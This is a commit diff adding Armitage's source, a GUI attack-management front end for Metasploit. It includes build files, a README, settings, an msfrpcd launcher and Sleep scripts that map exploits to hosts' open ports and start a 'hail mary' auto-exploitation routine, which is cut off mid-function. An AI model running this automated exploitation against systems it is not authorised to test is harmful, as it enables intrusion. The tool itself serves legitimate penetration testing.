include armitage source in MSF tree.
|
@ -0,0 +1,42 @@
|
||||||
|
<project name="armitage" default="all" basedir=".">
|
||||||
|
<property name="project.src" location="src/" />
|
||||||
|
<property name="project.build" location="bin/" />
|
||||||
|
|
||||||
|
<target name="all" depends="init, compile, jar" />
|
||||||
|
|
||||||
|
<target name="init">
|
||||||
|
<tstamp />
|
||||||
|
<mkdir dir="${project.build}" />
|
||||||
|
</target>
|
||||||
|
|
||||||
|
<target name="compile" depends="init" description="compile the source " >
|
||||||
|
<javac srcdir="${project.src}/"
|
||||||
|
destdir="${project.build}"
|
||||||
|
nowarn="yes"
|
||||||
|
depend="yes"
|
||||||
|
debug="true"
|
||||||
|
optimize="yes"
|
||||||
|
includeantruntime="fuckno"
|
||||||
|
>
|
||||||
|
<classpath path="./lib/jgraphx.jar;./lib/sleep.jar;./lib/msgpack-0.5.1-devel.jar;./lib/postgresql-9.1-901.jdbc4.jar" />
|
||||||
|
</javac>
|
||||||
|
</target>
|
||||||
|
|
||||||
|
<target name="jar" depends="compile">
|
||||||
|
<unzip src="lib/sleep.jar" dest="bin" />
|
||||||
|
<unzip src="lib/jgraphx.jar" dest="bin" />
|
||||||
|
<unzip src="lib/msgpack-0.5.1-devel.jar" dest="bin" />
|
||||||
|
<unzip src="lib/postgresql-9.1-901.jdbc4.jar" dest="bin" />
|
||||||
|
|
||||||
|
<jar destfile="armitage.jar" basedir="bin" includes="**/*">
|
||||||
|
<manifest>
|
||||||
|
<attribute name="Main-Class" value="armitage.ArmitageMain" />
|
||||||
|
</manifest>
|
||||||
|
</jar>
|
||||||
|
</target>
|
||||||
|
|
||||||
|
<target name="clean" description="clean up" >
|
||||||
|
<delete dir="${project.build}"/>
|
||||||
|
</target>
|
||||||
|
</project>
|
||||||
|
|
|
@ -0,0 +1,90 @@
|
||||||
|
=============================================================================
|
||||||
|
Armitage - Cyber Attack Management for Metasploit
|
||||||
|
=============================================================================
|
||||||
|
|
||||||
|
*** http://www.fastandeasyhacking.com ***
|
||||||
|
|
||||||
|
1. What is Armitage?
|
||||||
|
-----------------
|
||||||
|
|
||||||
|
Armitage is a graphical cyber attack management tool for Metasploit that
|
||||||
|
visualizes your targets, recommends exploits, and exposes the advanced
|
||||||
|
capabilities of the framework.
|
||||||
|
|
||||||
|
Advanced users will find Armitage valuable for managing remote Metasploit
|
||||||
|
instances and collaboration. Armitage's red team collaboration features allow
|
||||||
|
your team to use the same sessions, share data, and communicate through one
|
||||||
|
Metasploit instance.
|
||||||
|
|
||||||
|
Armitage aims to make Metasploit usable for security practitioners who
|
||||||
|
understand hacking but don't use Metasploit every day. If you want to learn
|
||||||
|
Metasploit and grow into the advanced features, Armitage can help you.
|
||||||
|
|
||||||
|
2. Documentation
|
||||||
|
-------------
|
||||||
|
|
||||||
|
The documentation for Armitage is located on the Armitage website at:
|
||||||
|
http://www.fastandeasyhacking.com. Read the FAQ and the Manual for
|
||||||
|
information on connecting Armitage to Metasploit and using it.
|
||||||
|
|
||||||
|
3. Install and Update
|
||||||
|
----------
|
||||||
|
|
||||||
|
To get started, see the manual at http://www.fastandeasyhacking.com
|
||||||
|
|
||||||
|
4. Source Code
|
||||||
|
-----------
|
||||||
|
|
||||||
|
This projected is hosted on Google Code at:
|
||||||
|
http://code.google.com/p/armitage/
|
||||||
|
|
||||||
|
5. Disclaimer
|
||||||
|
----------
|
||||||
|
|
||||||
|
Use this code for your development and don't hack systems that you don't
|
||||||
|
have permission to hack. The existence of this software does not reflect the
|
||||||
|
opinions or beliefs of my current employers, past employers, future
|
||||||
|
employers, or any small animals I come into contact with. Enjoy this
|
||||||
|
software with my blessing. I hope it helps you learn and become a better
|
||||||
|
security professional.
|
||||||
|
|
||||||
|
6. Contact
|
||||||
|
-------
|
||||||
|
|
||||||
|
Report bugs in the issue tracker at:
|
||||||
|
http://code.google.com/p/armitage/issues/list
|
||||||
|
|
||||||
|
E-mail contact@fastandeasyhacking.com with other questions/concerns. Make
|
||||||
|
sure you peruse the FAQ and Manual first.
|
||||||
|
|
||||||
|
7. License
|
||||||
|
-------
|
||||||
|
|
||||||
|
(c) 2010-2012 Raphael Mudge. This project is licensed under the BSD license.
|
||||||
|
See section 8 for more information.
|
||||||
|
|
||||||
|
lib/jgraphx.jar is used here within the terms of the BSD license offered by
|
||||||
|
JGraphX Ltd. http://www.jgraphx.com/
|
||||||
|
-
|
||||||
|
lib/msgpack-0.5.1-devel.jar and lib/postgresql-9.1-901.jdbc4.jar are both
|
||||||
|
BSD licensed libraries.
|
||||||
|
-
|
||||||
|
Some code in src/msf/* comes from msfgui by scriptjunkie.
|
||||||
|
-
|
||||||
|
This project uses the LGPL Sleep scripting language with no modifications.
|
||||||
|
Sleep's source is available at: http://sleep.dashnine.org/
|
||||||
|
|
||||||
|
8. The BSD License
|
||||||
|
---------------
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms are permitted provided
|
||||||
|
that the above copyright notice and this paragraph are duplicated in all
|
||||||
|
such forms and that any documentation, advertising materials, and other
|
||||||
|
materials related to such distribution and use acknowledge that the
|
||||||
|
software was developed by the copyright holders. The name of the copyright
|
||||||
|
holders may not be used to endorse or promote products derived from this
|
||||||
|
software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED ''AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
|
||||||
|
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
|
||||||
|
MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
|
|
@ -0,0 +1,23 @@
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<center><h1>Armitage 1.44-dev</h1></center>
|
||||||
|
|
||||||
|
<p>An attack management tool for Metasploit®
|
||||||
|
<br />Release: 7 May 12</p>
|
||||||
|
<br />
|
||||||
|
<p>Developed by:</p>
|
||||||
|
|
||||||
|
<ul>
|
||||||
|
<li>Raphael Mudge (raffi)</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<p>External code:</p>
|
||||||
|
|
||||||
|
<ul>
|
||||||
|
<li>MSF RPC code by scriptjunkie (BSD license)</li>
|
||||||
|
<li>JGraph by JGraph Ltd. (BSD license)</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<p><small>Metasploit® is a registered trademark of Rapid7 Inc.</small></p>
|
||||||
|
</body>
|
||||||
|
</html>
|
After Width: | Height: | Size: 1.9 KiB |
After Width: | Height: | Size: 28 KiB |
|
@ -0,0 +1,41 @@
|
||||||
|
#Armitage Configuration
|
||||||
|
#Fri Oct 15 18:08:08 EDT 2010
|
||||||
|
graph.font.font=Monospaced-BOLD-14
|
||||||
|
console.clear_screen.shortcut=ctrl pressed K
|
||||||
|
graph.zoom_out.shortcut=ctrl pressed MINUS
|
||||||
|
graph.save_screenshot.shortcut=ctrl pressed P
|
||||||
|
console.font_size_reset.shortcut=ctrl pressed 0
|
||||||
|
console.page_down.shortcut=pressed PAGE_DOWN
|
||||||
|
graph.arrange_icons_circle.shortcut=ctrl pressed C
|
||||||
|
graph.selection.color=\#00ff00
|
||||||
|
graph.zoom_in.shortcut=ctrl pressed EQUALS
|
||||||
|
console.find.shortcut=ctrl pressed F
|
||||||
|
console.history_previous.shortcut=pressed UP
|
||||||
|
console.history_next.shortcut=pressed DOWN
|
||||||
|
console.page_up.shortcut=pressed PAGE_UP
|
||||||
|
console.highlight.color=\#0000cc
|
||||||
|
console.font_size_plus.shortcut=ctrl pressed EQUALS
|
||||||
|
console.font_size_minus.shortcut=ctrl pressed MINUS
|
||||||
|
console.foreground.color=\#ffffff
|
||||||
|
console.background.color=\#000000
|
||||||
|
console.font.font=Monospaced-BOLD-14
|
||||||
|
graph.arrange_icons_hierarchical.shortcut=ctrl pressed H
|
||||||
|
graph.foreground.color=\#cccccc
|
||||||
|
graph.background.color=\#111111
|
||||||
|
graph.zoom_reset.shortcut=ctrl pressed 0
|
||||||
|
console.clear_buffer.shortcut=pressed ESCAPE
|
||||||
|
graph.edge.color=\#3c6318
|
||||||
|
graph.arrange_icons_stack.shortcut=ctrl pressed S
|
||||||
|
graph.edge_highlight.color=\#00ff00
|
||||||
|
graph.default_layout.layout=stack
|
||||||
|
application.skin.skin=Nimbus
|
||||||
|
graph.clear_selection.shortcut=pressed ESCAPE
|
||||||
|
graph.select_all.shortcut=ctrl pressed A
|
||||||
|
armitage.required_exploit_rank.string=great
|
||||||
|
armitage.string.target_view=graph
|
||||||
|
console.select_all.shortcut=ctrl pressed A
|
||||||
|
armitage.log_everything.boolean=true
|
||||||
|
armitage.no_msf_banner.boolean=false
|
||||||
|
tab.highlight.color=#0000ff
|
||||||
|
armitage.show_all_commands.boolean=true
|
||||||
|
armitage.application_title.string=Armitage
|
After Width: | Height: | Size: 72 KiB |
After Width: | Height: | Size: 66 KiB |
After Width: | Height: | Size: 27 KiB |
|
@ -0,0 +1,12 @@
|
||||||
|
Metasploit's RPC daemon shut down. This is the
|
||||||
|
service Armitage uses to talk to Metasploit.
|
||||||
|
|
||||||
|
When this happens, it means something is wrong.
|
||||||
|
The developer of Armitage feels your pain from
|
||||||
|
afar. Would you like help troubleshooting this?
|
||||||
|
|
||||||
|
P.S. yes you would--the answer is known and it's
|
||||||
|
easy to deal with. Click Yes to visit the
|
||||||
|
troubleshooting guide at:
|
||||||
|
|
||||||
|
http://www.fastandeasyhacking.com/nomsfrpcd
|
After Width: | Height: | Size: 398 KiB |
After Width: | Height: | Size: 143 KiB |
After Width: | Height: | Size: 46 KiB |
After Width: | Height: | Size: 47 KiB |
|
@ -0,0 +1,10 @@
|
||||||
|
@echo off
|
||||||
|
set BASE=$$BASE$$
|
||||||
|
cd "%BASE%"
|
||||||
|
set PATH=%BASE%ruby\bin;%BASE%java\bin;%BASE%tools;%BASE%svn\bin;%BASE%nmap;%BASE%postgresql\bin;%PATH%
|
||||||
|
IF NOT EXIST "%BASE%java" GOTO NO_JAVA
|
||||||
|
set JAVA_HOME="%BASE%java"
|
||||||
|
:NO_JAVA
|
||||||
|
set MSF_DATABASE_CONFIG="%BASE%\config\database.yml"
|
||||||
|
cd "%BASE%msf3"
|
||||||
|
rubyw msfrpcd -a 127.0.0.1 -U $$USER$$ -P $$PASS$$ -S -f -p $$PORT$$
|
After Width: | Height: | Size: 70 KiB |
After Width: | Height: | Size: 60 KiB |
After Width: | Height: | Size: 6.4 KiB |
After Width: | Height: | Size: 67 KiB |
After Width: | Height: | Size: 53 KiB |
After Width: | Height: | Size: 109 KiB |
After Width: | Height: | Size: 60 KiB |
|
@ -0,0 +1 @@
|
||||||
|
java -classpath bin:lib/\*:. armitage.ArmitageMain $*
|
|
@ -0,0 +1,312 @@
|
||||||
|
debug(7 | 34);
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.border.*;
|
||||||
|
import javax.imageio.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import msf.*;
|
||||||
|
import console.*;
|
||||||
|
import armitage.*;
|
||||||
|
import graph.*;
|
||||||
|
|
||||||
|
import java.awt.image.*;
|
||||||
|
|
||||||
|
global('$frame $tabs $menubar $msfrpc_handle $REMOTE');
|
||||||
|
|
||||||
|
sub describeHost {
|
||||||
|
local('$sessions $os @overlay $ver $info');
|
||||||
|
($sessions, $os, $ver) = values($1, @('sessions', 'os_name', 'os_flavor'));
|
||||||
|
|
||||||
|
if (size($sessions) == 0) {
|
||||||
|
return $1['address'];
|
||||||
|
}
|
||||||
|
|
||||||
|
$info = values($sessions)[0]["info"];
|
||||||
|
if ("Microsoft Corp." isin $info) {
|
||||||
|
return $1['address'] . "\nshell session";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return $1['address'] . "\n $+ $info";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub showHost {
|
||||||
|
local('$sessions $os @overlay $match $purpose');
|
||||||
|
($sessions, $os, $match, $purpose) = values($1, @('sessions', 'os_name', 'os_flavor', 'purpose'));
|
||||||
|
$os = normalize($os);
|
||||||
|
|
||||||
|
if ($match eq "") {
|
||||||
|
$match = $1['os_match'];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($os eq "Printer" || "*Printer*" iswm $match || "*embedded*" iswm lc($os)) {
|
||||||
|
return overlay_images(@('resources/printer.png'));
|
||||||
|
}
|
||||||
|
else if ($os eq "Windows") {
|
||||||
|
if ("*2000*" iswm $match || "*95*" iswm $match || "*98*" iswm $match || "*ME*" iswm $match || "*Me*" iswm $match) {
|
||||||
|
push(@overlay, 'resources/windows2000.png');
|
||||||
|
}
|
||||||
|
else if ("*XP*" iswm $match || "*2003*" iswm $match || "*.NET*" iswm $match) {
|
||||||
|
push(@overlay, 'resources/windowsxp.png');
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
push(@overlay, 'resources/windows7.png');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ($os eq "Mac OS X" || "*apple*" iswm lc($os) || "*mac*os*x*" iswm lc($os)) {
|
||||||
|
push(@overlay, 'resources/macosx.png');
|
||||||
|
}
|
||||||
|
else if ("*linux*" iswm lc($os)) {
|
||||||
|
push(@overlay, 'resources/linux.png');
|
||||||
|
}
|
||||||
|
else if ($os eq "IOS" || "*cisco*" iswm lc($os)) {
|
||||||
|
push(@overlay, 'resources/cisco.png');
|
||||||
|
}
|
||||||
|
else if ("*BSD*" iswm $os) {
|
||||||
|
push(@overlay, 'resources/bsd.png');
|
||||||
|
}
|
||||||
|
else if ($os eq "Solaris") {
|
||||||
|
push(@overlay, 'resources/solaris.png');
|
||||||
|
}
|
||||||
|
else if ("*VMware*" iswm $os) {
|
||||||
|
push(@overlay, 'resources/vmware.png');
|
||||||
|
}
|
||||||
|
else if ($purpose eq "firewall") {
|
||||||
|
return overlay_images(@('resources/firewall.png'));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
push(@overlay, 'resources/unknown.png');
|
||||||
|
}
|
||||||
|
|
||||||
|
if (size($sessions) > 0) {
|
||||||
|
push(@overlay, 'resources/hacked.png');
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
push(@overlay, 'resources/computer.png');
|
||||||
|
}
|
||||||
|
|
||||||
|
return overlay_images(@overlay);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub connectToMetasploit {
|
||||||
|
local('$thread $5');
|
||||||
|
$thread = [new Thread: lambda(&_connectToMetasploit, \$1, \$2, \$3, \$4, \$5)];
|
||||||
|
[$thread start];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub _connectToMetasploit {
|
||||||
|
global('$database $client $mclient $console @exploits @auxiliary @payloads @post');
|
||||||
|
|
||||||
|
# update preferences
|
||||||
|
|
||||||
|
local('%props $property $value $flag $exception');
|
||||||
|
%props['connect.host.string'] = $1;
|
||||||
|
%props['connect.port.string'] = $2;
|
||||||
|
%props['connect.user.string'] = $3;
|
||||||
|
%props['connect.pass.string'] = $4;
|
||||||
|
|
||||||
|
if ($5 is $null) {
|
||||||
|
foreach $property => $value (%props) {
|
||||||
|
[$preferences setProperty: $property, $value];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
savePreferences();
|
||||||
|
|
||||||
|
# setup progress monitor
|
||||||
|
local('$progress');
|
||||||
|
$progress = [new ProgressMonitor: $null, "Connecting to $1 $+ : $+ $2", "first try... wish me luck.", 0, 100];
|
||||||
|
|
||||||
|
# keep track of whether we're connected to a local or remote Metasploit instance. This will affect what we expose.
|
||||||
|
$REMOTE = iff($1 eq "127.0.0.1", $null, 1);
|
||||||
|
|
||||||
|
$flag = 10;
|
||||||
|
while ($flag) {
|
||||||
|
try {
|
||||||
|
if ([$progress isCanceled]) {
|
||||||
|
if ($msfrpc_handle !is $null) {
|
||||||
|
try {
|
||||||
|
wait(fork({ closef($msfrpc_handle); }, \$msfrpc_handle), 5 * 1024);
|
||||||
|
$msfrpc_handle = $null;
|
||||||
|
}
|
||||||
|
catch $exception {
|
||||||
|
[JOptionPane showMessageDialog: $null, "Unable to shutdown MSFRPC programatically\nRestart Armitage and try again"];
|
||||||
|
[System exit: 0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
connectDialog();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
# connecting locally? go to Metasploit directly...
|
||||||
|
if ($1 eq "127.0.0.1" || $1 eq "::1" || $1 eq "localhost") {
|
||||||
|
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
|
||||||
|
$mclient = $client;
|
||||||
|
initConsolePool();
|
||||||
|
initReporting();
|
||||||
|
}
|
||||||
|
# we have a team server... connect and authenticate to it.
|
||||||
|
else {
|
||||||
|
$client = c_client($1, $2);
|
||||||
|
setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L);
|
||||||
|
$mclient = setup_collaboration($3, $4, $1, $2);
|
||||||
|
}
|
||||||
|
$flag = $null;
|
||||||
|
}
|
||||||
|
catch $exception {
|
||||||
|
[$progress setNote: [$exception getMessage]];
|
||||||
|
[$progress setProgress: $flag];
|
||||||
|
$flag++;
|
||||||
|
sleep(2500);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let(&postSetup, \$progress);
|
||||||
|
|
||||||
|
[$progress setNote: "Connected: Getting base directory"];
|
||||||
|
[$progress setProgress: 30];
|
||||||
|
|
||||||
|
setupBaseDirectory();
|
||||||
|
|
||||||
|
if (!$REMOTE) {
|
||||||
|
[$progress setNote: "Connected: Connecting to database"];
|
||||||
|
[$progress setProgress: 40];
|
||||||
|
|
||||||
|
try {
|
||||||
|
# create a console to force the database to initialize
|
||||||
|
local('$c');
|
||||||
|
$c = createConsole($client);
|
||||||
|
call($client, "console.destroy", $c);
|
||||||
|
|
||||||
|
# connect to the database plz...
|
||||||
|
$database = connectToDatabase();
|
||||||
|
[$client setDatabase: $database];
|
||||||
|
|
||||||
|
# setup our reporting stuff (has to happen *after* base directory)
|
||||||
|
initReporting();
|
||||||
|
}
|
||||||
|
catch $exception {
|
||||||
|
[JOptionPane showMessageDialog: $null, "Could not connect to database.\nClick Help button for troubleshooting help.\n\n" . [$exception getMessage]];
|
||||||
|
if ($msfrpc_handle) { closef($msfrpc_handle); }
|
||||||
|
[System exit: 0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[$progress setNote: "Connected: Getting local address"];
|
||||||
|
[$progress setProgress: 50];
|
||||||
|
|
||||||
|
cmd_safe("setg", lambda({
|
||||||
|
# store the current global vars to save several other calls later
|
||||||
|
global('%MSF_GLOBAL');
|
||||||
|
local('$value');
|
||||||
|
|
||||||
|
foreach $value (parseTextTable($3, @("Name", "Value"))) {
|
||||||
|
%MSF_GLOBAL[$value['Name']] = $value['Value'];
|
||||||
|
}
|
||||||
|
|
||||||
|
# ok, now let's continue on with what we're doing...
|
||||||
|
getBindAddress();
|
||||||
|
[$progress setNote: "Connected: ..."];
|
||||||
|
[$progress setProgress: 60];
|
||||||
|
|
||||||
|
dispatchEvent(&postSetup);
|
||||||
|
}, \$progress));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub postSetup {
|
||||||
|
thread(lambda({
|
||||||
|
[$progress setNote: "Connected: Fetching exploits"];
|
||||||
|
[$progress setProgress: 70];
|
||||||
|
|
||||||
|
@exploits = sorta(call($mclient, "module.exploits")["modules"]);
|
||||||
|
|
||||||
|
[$progress setNote: "Connected: Fetching auxiliary modules"];
|
||||||
|
[$progress setProgress: 80];
|
||||||
|
|
||||||
|
@auxiliary = sorta(call($mclient, "module.auxiliary")["modules"]);
|
||||||
|
|
||||||
|
[$progress setNote: "Connected: Fetching payloads"];
|
||||||
|
[$progress setProgress: 90];
|
||||||
|
|
||||||
|
@payloads = sorta(call($mclient, "module.payloads")["modules"]);
|
||||||
|
|
||||||
|
[$progress setNote: "Connected: Fetching post modules"];
|
||||||
|
[$progress setProgress: 100];
|
||||||
|
|
||||||
|
@post = sorta(call($mclient, "module.post")["modules"]);
|
||||||
|
|
||||||
|
[$progress close];
|
||||||
|
main();
|
||||||
|
createDashboard();
|
||||||
|
}, \$progress));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub main {
|
||||||
|
local('$console $panel $dir');
|
||||||
|
|
||||||
|
$frame = [new ArmitageApplication];
|
||||||
|
[$frame setTitle: $TITLE];
|
||||||
|
[$frame setSize: 800, 600];
|
||||||
|
|
||||||
|
init_menus($frame);
|
||||||
|
initLogSystem();
|
||||||
|
|
||||||
|
[$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
|
||||||
|
[$frame show];
|
||||||
|
[$frame setExtendedState: [JFrame MAXIMIZED_BOTH]];
|
||||||
|
|
||||||
|
# this window listener is dead-lock waiting to happen. That's why we're adding it in a
|
||||||
|
# separate thread (Sleep threads don't share data/locks).
|
||||||
|
fork({
|
||||||
|
[$frame addWindowListener: {
|
||||||
|
if ($0 eq "windowClosing" && $msfrpc_handle !is $null) {
|
||||||
|
closef($msfrpc_handle);
|
||||||
|
}
|
||||||
|
}];
|
||||||
|
}, \$msfrpc_handle, \$frame);
|
||||||
|
|
||||||
|
dispatchEvent({
|
||||||
|
if ($client !is $mclient) {
|
||||||
|
createEventLogTab();
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
createConsoleTab();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
if (-exists "command.txt") {
|
||||||
|
deleteFile("command.txt");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub checkDir {
|
||||||
|
# set the directory where everything exciting and fun will happen.
|
||||||
|
if (cwd() eq "/Applications" || !-canwrite cwd() || isWindows()) {
|
||||||
|
local('$dir');
|
||||||
|
$dir = getFileProper(systemProperties()["user.home"], "armitage-tmp");
|
||||||
|
if (!-exists $dir) {
|
||||||
|
mkdir($dir);
|
||||||
|
}
|
||||||
|
chdir($dir);
|
||||||
|
warn("Saving files to $dir");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
setLookAndFeel();
|
||||||
|
checkDir();
|
||||||
|
|
||||||
|
if ($CLIENT_CONFIG !is $null && -exists $CLIENT_CONFIG) {
|
||||||
|
local('$config');
|
||||||
|
$config = [new Properties];
|
||||||
|
[$config load: [new java.io.FileInputStream: $CLIENT_CONFIG]];
|
||||||
|
connectToMetasploit([$config getProperty: "host", "127.0.0.1"],
|
||||||
|
[$config getProperty: "port", "55553"],
|
||||||
|
[$config getProperty: "user", "msf"],
|
||||||
|
[$config getProperty: "pass", "test"], 1);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
connectDialog();
|
||||||
|
}
|
|
@ -0,0 +1,652 @@
|
||||||
|
#
|
||||||
|
# Code to create the various attack menus based on db_autopwn
|
||||||
|
#
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
|
||||||
|
import msf.*;
|
||||||
|
import table.*;
|
||||||
|
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
global('%results @always_reverse %exploits %results2');
|
||||||
|
%results = ohash();
|
||||||
|
%results2 = ohash();
|
||||||
|
setMissPolicy(%results, { return @(); });
|
||||||
|
setMissPolicy(%results2, { return @(); });
|
||||||
|
|
||||||
|
# %exploits is populated in menus.sl when the client-side attacks menu is constructed
|
||||||
|
|
||||||
|
# a list of exploits that should always use a reverse shell... this list needs to grow.
|
||||||
|
@always_reverse = @("multi/samba/usermap_script", "unix/misc/distcc_exec", "windows/http/xampp_webdav_upload_php");
|
||||||
|
|
||||||
|
#
|
||||||
|
# generate menus for a given OS
|
||||||
|
#
|
||||||
|
sub exploit_menus {
|
||||||
|
local('%toplevel @allowed $ex $os $port $exploit');
|
||||||
|
%toplevel = ohash();
|
||||||
|
@allowed = getOS($1);
|
||||||
|
|
||||||
|
foreach $ex ($2) {
|
||||||
|
($os, $port, $exploit) = split('/', $ex);
|
||||||
|
if ($os in @allowed) {
|
||||||
|
if ($port !in %toplevel) {
|
||||||
|
%toplevel[$port] = %();
|
||||||
|
}
|
||||||
|
%toplevel[$port][$exploit] = $ex;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
local('%r $menu $exploits $name $exploit');
|
||||||
|
|
||||||
|
%r = ohash();
|
||||||
|
putAll(%r, sorta(keys(%toplevel)), { return 1; });
|
||||||
|
foreach $menu => $exploits (%r) {
|
||||||
|
$exploits = ohash();
|
||||||
|
foreach $name (sorta(keys(%toplevel[$menu]))) {
|
||||||
|
$exploits[$name] = %toplevel[$menu][$name];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return %r;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub targetsCombobox {
|
||||||
|
local('$key $value @targets $combobox');
|
||||||
|
foreach $key => $value ($1["targets"]) {
|
||||||
|
if (strlen($value) > 53) {
|
||||||
|
push(@targets, "$key => " . substr($value, 0, 50) . "...");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
push(@targets, "$key => $value");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$combobox = [new JComboBox: sort({
|
||||||
|
local('$a $b');
|
||||||
|
$a = int(split(' \=\> ', $1)[0]);
|
||||||
|
$b = int(split(' \=\> ', $2)[0]);
|
||||||
|
return $a <=> $b;
|
||||||
|
}, @targets)];
|
||||||
|
|
||||||
|
return $combobox;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub getOS {
|
||||||
|
local('@allowed $os');
|
||||||
|
$os = normalize($1);
|
||||||
|
|
||||||
|
if ($os eq "Windows") { @allowed = @("windows", "multi"); }
|
||||||
|
else if ($os eq "Solaris") { @allowed = @("solaris", "multi", "unix"); }
|
||||||
|
else if ($os eq "Linux") { @allowed = @("linux", "multi", "unix"); }
|
||||||
|
else if ($os eq "Mac OS X") { @allowed = @("osx", "multi", "unix"); }
|
||||||
|
else if ($os eq "FreeBSD") { @allowed = @("freebsd", "multi", "unix"); }
|
||||||
|
else { @allowed = @("multi", "unix"); }
|
||||||
|
return @allowed;
|
||||||
|
}
|
||||||
|
|
||||||
|
# findAttacks("p", "good|great|excellent", &callback) - port analysis
|
||||||
|
# findAttacks("x", "good|great|excellent", &callback) - vulnerability analysis
|
||||||
|
sub resolveAttacks {
|
||||||
|
thread(lambda(&_resolveAttacks, $args => @_));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub _resolveAttacks {
|
||||||
|
# force a service data refresh before hail mary or find attacks.
|
||||||
|
_refreshServices(call($mclient, "db.services"));
|
||||||
|
|
||||||
|
%results = ohash();
|
||||||
|
%results2 = ohash();
|
||||||
|
setMissPolicy(%results, { return @(); });
|
||||||
|
setMissPolicy(%results2, { return @(); });
|
||||||
|
|
||||||
|
local('%r $r $p $module $s');
|
||||||
|
%r = ohash();
|
||||||
|
setMissPolicy(%r, { return @(); });
|
||||||
|
|
||||||
|
#
|
||||||
|
# find all exploits and their associated ports
|
||||||
|
#
|
||||||
|
|
||||||
|
$s = rankScore($args[1]);
|
||||||
|
foreach $module (@exploits) {
|
||||||
|
if (%exploits[$module]["rankScore"] >= $s) {
|
||||||
|
$r = call($client, "module.options", "exploit", $module);
|
||||||
|
yield 2;
|
||||||
|
if ("RPORT" in $r && "default" in $r["RPORT"]) {
|
||||||
|
$p = $r["RPORT"]["default"];
|
||||||
|
push(%r[$p], $module);
|
||||||
|
|
||||||
|
if ($p eq "445") {
|
||||||
|
push(%r["139"], $module);
|
||||||
|
}
|
||||||
|
else if ($p eq "139") {
|
||||||
|
push(%r["139"], $module);
|
||||||
|
}
|
||||||
|
else if ($p eq "80") {
|
||||||
|
push(%r["443"], $module);
|
||||||
|
}
|
||||||
|
else if ($p eq "443") {
|
||||||
|
push(%r["80"], $module);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# for each host, see if there is an exploit associated with its port and if so, report it...
|
||||||
|
#
|
||||||
|
|
||||||
|
local('$port $modules $host $data $services $exploit');
|
||||||
|
|
||||||
|
foreach $port => $modules (%r) {
|
||||||
|
foreach $host => $data (%hosts) {
|
||||||
|
$services = $data["services"];
|
||||||
|
if ($port in $services) {
|
||||||
|
foreach $exploit ($modules) {
|
||||||
|
push(%results[$host], $exploit);
|
||||||
|
push(%results2[$host], @($exploit, $port));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[$args[2]];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub findAttacks {
|
||||||
|
resolveAttacks($1, $2, {
|
||||||
|
showError("Attack Analysis Complete...\n\nYou will now see an 'Attack' menu attached\nto each host in the Targets window.\n\nHappy hunting!");
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
sub smarter_autopwn {
|
||||||
|
local('$console');
|
||||||
|
elog("has given up and launched the hail mary!");
|
||||||
|
|
||||||
|
$console = createDisplayTab("Hail Mary", 1, $host => "all", $file => "hailmary");
|
||||||
|
[[$console getWindow] append: "\n\n1) Finding exploits (via local magic)\n\n"];
|
||||||
|
|
||||||
|
resolveAttacks($1, $2, lambda({
|
||||||
|
# now crawl through %results and start hacking each host in turn
|
||||||
|
local('$host $exploits @allowed $ex $os $port $exploit @attacks %dupes $e $p');
|
||||||
|
|
||||||
|
# filter the attacks...
|
||||||
|
foreach $host => $exploits (%results2) {
|
||||||
|
%dupes = %();
|
||||||
|
@allowed = getOS(getHostOS($host));
|
||||||
|
|
||||||
|
foreach $e ($exploits) {
|
||||||
|
($ex, $p) = $e;
|
||||||
|
